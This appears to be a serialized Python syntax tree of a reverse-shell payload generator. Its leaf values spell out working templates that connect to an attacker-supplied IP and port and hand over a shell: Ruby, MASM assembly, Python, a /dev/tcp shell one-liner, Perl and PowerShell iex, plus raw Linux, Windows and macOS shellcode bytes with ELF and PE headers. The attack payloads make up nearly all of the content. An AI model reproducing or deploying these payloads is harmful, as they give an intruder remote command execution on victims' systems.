Module FunctionDef arguments args NameParam defaults body Assign NameStore Call NameLoad NameLoad Assign NameStore ListLoad While CompareGtE NameLoad Num body If CompareEq BinOpMod NameLoad Num Num body Expr Call AttributeLoad NameLoad attr Str orelse If CompareEq BinOpMod NameLoad Num Num body Expr Call AttributeLoad NameLoad attr Str orelse If CompareEq BinOpMod NameLoad Num Num body Expr Call AttributeLoad NameLoad attr Str orelse If CompareEq BinOpMod NameLoad Num Num body Expr Call AttributeLoad NameLoad attr Str orelse If CompareEq BinOpMod NameLoad Num Num body Expr Call AttributeLoad NameLoad attr Str orelse If CompareEq BinOpMod NameLoad Num Num body Expr Call AttributeLoad NameLoad attr Str orelse Expr Call AttributeLoad NameLoad attr Call NameLoad BinOpMod NameLoad Num Assign NameStore BinOpDiv NameLoad Num Return Call NameLoad Call AttributeLoad Str attr SubscriptLoad NameLoad Slice Num decorator_list FunctionDef arguments args NameParam defaults body Import alias Assign NameStore ListLoad Assign NameStore Call AttributeLoad NameLoad attr Str Call NameLoad Call NameLoad NameLoad For NameStore NameLoad body If CompareEq Call NameLoad NameLoad Num body Assign NameStore BinOpAdd Str NameLoad Expr Call AttributeLoad NameLoad attr NameLoad Return BinOpAdd Str Call AttributeLoad Str attr NameLoad decorator_list FunctionDef arguments args NameParam defaults body Assign NameStore Call AttributeLoad Call NameLoad NameLoad attr Str Assign NameStore ListLoad Assign NameStore ListLoad For NameStore NameLoad body Expr Call AttributeLoad NameLoad attr Call NameLoad Call NameLoad NameLoad For NameStore NameLoad body If CompareEq Call NameLoad NameLoad Num body Assign NameStore BinOpAdd Str NameLoad Expr Call AttributeLoad NameLoad attr NameLoad Return BinOpAdd Str Call AttributeLoad Str attr NameLoad decorator_list FunctionDef arguments args NameParam NameParam defaults NameLoad NameLoad body Assign NameStore BinOpMod Str TupleLoad NameLoad NameLoad Return NameLoad decorator_list FunctionDef arguments args NameParam NameParam defaults NameLoad NameLoad body Assign NameStore Call AttributeLoad Str attr NameLoad NameLoad Return NameLoad decorator_list FunctionDef arguments args NameParam NameParam defaults NameLoad NameLoad body Assign NameStore BinOpMod Str TupleLoad Call NameLoad NameLoad Call NameLoad NameLoad Assign NameStore ListLoad Str Str Str Str Str Str Str Assign SubscriptStore NameLoad Index Num NameLoad Return Call AttributeLoad Str attr NameLoad decorator_list FunctionDef arguments args NameParam NameParam defaults NameLoad NameLoad body ImportFrom alias Assign NameStore Call NameLoad Num Num Assign NameStore BinOpMod Str TupleLoad NameLoad NameLoad NameLoad NameLoad NameLoad NameLoad NameLoad Return NameLoad decorator_list FunctionDef arguments args NameParam NameParam defaults NameLoad NameLoad body Assign NameStore Str Assign NameStore BinOpMod Str TupleLoad NameLoad NameLoad AugAssignAdd NameStore NameLoad AugAssignAdd NameStore Str Return NameLoad decorator_list FunctionDef arguments args NameParam NameParam defaults NameLoad NameLoad body Assign NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Call NameLoad NameLoad AugAssignAdd NameStore Str AugAssignAdd NameStore Call NameLoad NameLoad AugAssignAdd NameStore Str AugAssignAdd NameStore Str Assign NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str Assign NameStore BinOpAdd NameLoad Call AttributeLoad NameLoad attr Str Str Return NameLoad decorator_list FunctionDef arguments args NameParam NameParam defaults NameLoad NameLoad body Assign NameStore Str Assign NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Call NameLoad NameLoad AugAssignAdd NameStore Str AugAssignAdd NameStore Call NameLoad NameLoad AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Call AttributeLoad NameLoad attr Str Str AugAssignAdd NameStore Str Return NameLoad decorator_list FunctionDef arguments args NameParam NameParam defaults NameLoad NameLoad body Assign NameStore Str AugAssignAdd NameStore Call NameLoad NameLoad AugAssignAdd NameStore Str AugAssignAdd NameStore Call NameLoad NameLoad AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str Return Call AttributeLoad NameLoad attr Str Str decorator_list FunctionDef arguments args NameParam NameParam defaults NameLoad NameLoad body Assign NameStore Str Assign NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Call NameLoad NameLoad AugAssignAdd NameStore Str AugAssignAdd NameStore Call NameLoad NameLoad AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Str AugAssignAdd NameStore Call AttributeLoad NameLoad attr Str Str AugAssignAdd NameStore Str Return NameLoad decorator_list FunctionDef arguments args NameParam NameParam defaults body Assign NameStore ListComp Str comprehension NameStore Call NameLoad Num Assign NameStore BinOpMod Str TupleLoad NameLoad NameLoad Assign SubscriptStore NameLoad Index Num NameLoad Assign SubscriptStore NameLoad Index Num Str Assign SubscriptStore NameLoad Index Num Str Assign SubscriptStore NameLoad Index Num Str Assign SubscriptStore NameLoad Index Num Str Assign SubscriptStore NameLoad Index Num Str Assign SubscriptStore NameLoad Index Num Str Assign SubscriptStore NameLoad Index Num Str Return Call AttributeLoad Str attr NameLoad decorator_list
N/A decimaltohex N/A N/A number N/A N/A N/A number N/A int number N/A list N/A N/A N/A number 1 N/A N/A N/A N/A number 16 10 N/A N/A N/A N/A list append a N/A N/A N/A N/A number 16 11 N/A N/A N/A N/A list append b N/A N/A N/A N/A number 16 12 N/A N/A N/A N/A list append c N/A N/A N/A N/A number 16 13 N/A N/A N/A N/A list append d N/A N/A N/A N/A number 16 14 N/A N/A N/A N/A list append e N/A N/A N/A N/A number 16 15 N/A N/A N/A N/A list append e N/A N/A N/A N/A list append N/A str N/A number 16 N/A number N/A number 16 N/A N/A str N/A N/A join N/A list N/A -1 N/A LPORT N/A N/A port N/A N/A N/A re N/A db N/A N/A fixmesempai N/A N/A re findall ..? N/A decimaltohex N/A str port N/A x fixmesempai N/A N/A N/A N/A len x 1 N/A N/A x N/A 0 x N/A N/A N/A db append x N/A N/A \x N/A N/A \x join db N/A LIP N/A N/A ip N/A N/A N/A ip N/A N/A N/A str ip split . N/A db N/A N/A db2 N/A N/A x ip N/A N/A N/A N/A db append N/A decimaltohex N/A int x N/A x db N/A N/A N/A N/A len x 1 N/A N/A x N/A 0 x N/A N/A N/A db2 append x N/A N/A \x N/A N/A \x join db2 N/A rbreverse_tcp N/A N/A IP PORT N/A None None N/A N/A db N/A #!/usr/bin/env ruby
require 'socket'
require 'open3'

RHOST = "%s" 
PORT = "%s"

begin
sock = TCPSocket.new "#{RHOST}", "#{PORT}"
rescue
	sleep 20
	retry
	end

begin
	while line = sock.gets
	    Open3.popen2e("#{line}") do | stdin, stdout_and_stderr |
	        IO.copy_stream(stdout_and_stderr, sock)
	        end  
	end
rescue
	retry
end 
	 N/A IP PORT N/A db N/A asmreverse_tcp N/A N/A IP PORT N/A None None N/A N/A db N/A N/A .386
.model flat, stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\ws2_32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\ws2_32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib 

.data
  cmd     db "cmd",0
  UrIP    db "{0}",0
  port    db "{1}",0
.data?
  sinfo   STARTUPINFO<>
  pi      PROCESS_INFORMATION<>
  sin     sockaddr_in<>
  WSAD    WSADATA<>
  Wsocket dd ?
.code
start:
    invoke WSAStartup, 101h, addr WSAD 
    invoke WSASocket,AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0
           mov Wsocket, eax
           mov sin.sin_family, 2
    invoke atodw, addr port
    invoke htons, eax
           mov sin.sin_port, ax
    invoke gethostbyname, addr UrIP
          mov eax, [eax+12]
          mov eax, [eax]
          mov eax, [eax]
          mov sin.sin_addr, eax

          mov eax,Wsocket
          mov sinfo.hStdInput,eax
          mov sinfo.hStdOutput,eax
          mov sinfo.hStdError,eax     
          mov sinfo.cb,sizeof STARTUPINFO
          mov sinfo.dwFlags,STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES
 shellagain:
    invoke connect, Wsocket, addr sin , sizeof(sockaddr_in) 
    invoke CreateProcess,NULL,addr cmd,NULL,NULL,TRUE,8000040h,NULL,NULL,addr sinfo,addr pi
    invoke WaitForSingleObject,pi.hProcess,INFINITE
	jmp shellagain
 ret
end start
	 format IP PORT N/A db N/A pyreverse_tcp N/A N/A IP PORT N/A None None N/A N/A padd N/A s.connect(("%s",%s)) N/A N/A str IP N/A str PORT N/A ret N/A import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"]); N/A N/A ret N/A 2 padd N/A N/A N/A join ret N/A shreverse_tcp N/A N/A IP PORT N/A None None N/A random randint N/A rand N/A randint 0 99 N/A ret N/A 0<&%d-;exec %d<>/dev/tcp/%s/%s;sh <&%d >&%d 2>&%d N/A rand rand IP PORT rand rand rand N/A ret N/A plreverse_tcp N/A N/A IP PORT N/A None None N/A N/A ret perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket:: N/A padd N/A INET(PeerAddr,"%s:%s"); N/A IP PORT N/A ret padd N/A ret STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};' N/A ret N/A linx86reverse_tcp N/A N/A IP PORT N/A None None N/A N/A shellcode \x6a\x66\x58\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1\xcd\x80\x93\x89\xd1\xb0 N/A shellcode \x3f\xcd\x80\x49\x79\xf9\xb0\x66\x87\xda\x68 N/A shellcode N/A LIP IP N/A shellcode \x66\x68 N/A shellcode N/A LPORT PORT N/A shellcode \x66\x53\x43\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x6a\x0b\x58\x99\x89\xd1 N/A shellcode \x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80 N/A byteman 7f454c4601010100000000000000000002000300010000005480040 N/A byteman 834000000000000000000000034002000010000000000000001000 N/A byteman 0000000000000800408008004089c000000001000000700000000100000 N/A byteman N/A byteman N/A N/A shellcode replace \x N/A byteman N/A winreverse_tcp N/A N/A IP PORT N/A None None N/A N/A huuha 4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000504500004c010200002179560000000000000000e0000f030b010238000200000002000000000000001000000010000000000000000040000010000000020000040000000100000004000000000000000030000000040000383f00000300000000002000001000000000100000100000000000001000000000000000000000000020000014000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002e746578740000001a000000001000000002000000040000000000000000000000000000200000602e6964617461000014000000002000000002000000060000000000000000000000000000400000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 N/A byteman \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50 N/A byteman \x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26 N/A byteman \x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7 N/A byteman \xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78 N/A byteman \xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3 N/A byteman \x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01 N/A byteman \xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58 N/A byteman \x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3 N/A byteman \x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a N/A byteman \x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32 N/A byteman \x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff N/A byteman \xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b N/A byteman \x00\xff\xd5\x6a\x05\x68 N/A byteman N/A LIP PORT N/A byteman \x68\x02\x00 N/A byteman N/A LPORT PORT N/A byteman \x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f N/A byteman \xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61 N/A byteman \xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5 N/A byteman \xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8 N/A byteman \x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a N/A byteman \x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53 N/A byteman \x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee N/A byteman \xc3 N/A huuha N/A N/A byteman replace \x N/A huuha ffffffff00000000ffffffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 N/A huuha N/A macosx86reverse_tcp N/A N/A IP PORT N/A None None N/A N/A byteman \x68 N/A byteman N/A LIP IP N/A byteman \x68\xff\x02 N/A byteman N/A LPORT PORT N/A byteman \x89\xe7\x31\xc0\x50\x6a\x01\x6a\x02\x6a\x10\xb0\x61\xcd\x80 N/A byteman \x57\x50\x50\x6a\x62\x58\xcd\x80\x50\x6a\x5a\x58\xcd\x80\xff N/A byteman \x4f\xe8\x79\xf6\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89 N/A byteman \xe3\x50\x54\x54\x53\x50\xb0\x3b\xcd\x80 N/A N/A N/A byteman replace \x N/A linx64reverse_tcp N/A N/A IP PORT N/A None None N/A N/A shellcode 7f454c4602010100000000000000000002003e000100000080004000000000004000000000000000b0000000000000000000000040003800010040000300020001000000050000000000000000000000000040000000000000004000000000009f000000000000009f0000000000000000002000000000000000000000000000 N/A padd \x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a N/A padd \x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0 N/A padd \x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02 N/A padd N/A LIP PORT N/A padd \xc7\x44\x24\x04 N/A padd N/A LPORT IP N/A padd \x48\x89\xe6\x6a\x10 N/A padd \x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48 N/A padd \xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a N/A padd \x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54 N/A padd \x5f\x6a\x3b\x58\x0f\x05 N/A shellcode N/A N/A padd replace N/A shellcode 5002e7368737472746162002e7465787400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b000000010000000600000000000000800040000000000080000000000000001f000000000000000000000000000000100000000000000000000000000000000100000003000000000000000000000000000000000000009f000000000000001100000000000000000000000000000001000000000000000000000000000000 N/A shellcode N/A powershell N/A N/A ip port N/A N/A N/A db N/A N/A x N/A range 8 N/A payload N/A $client = New-Object System.Net.Sockets.TCPClient("%s",%s) N/A ip port N/A N/A db N/A 0 payload N/A N/A db N/A 1 $stream = $client.GetStream() N/A N/A db N/A 2 [byte[]]$bytes = 0..255|%{0} N/A N/A db N/A 3 while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ N/A N/A db N/A 4 $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) N/A N/A db N/A 5 $sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> " N/A N/A db N/A 6 $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length) N/A N/A db N/A 7 $stream.Flush()};$client.Close() N/A N/A N/A ; join db N/A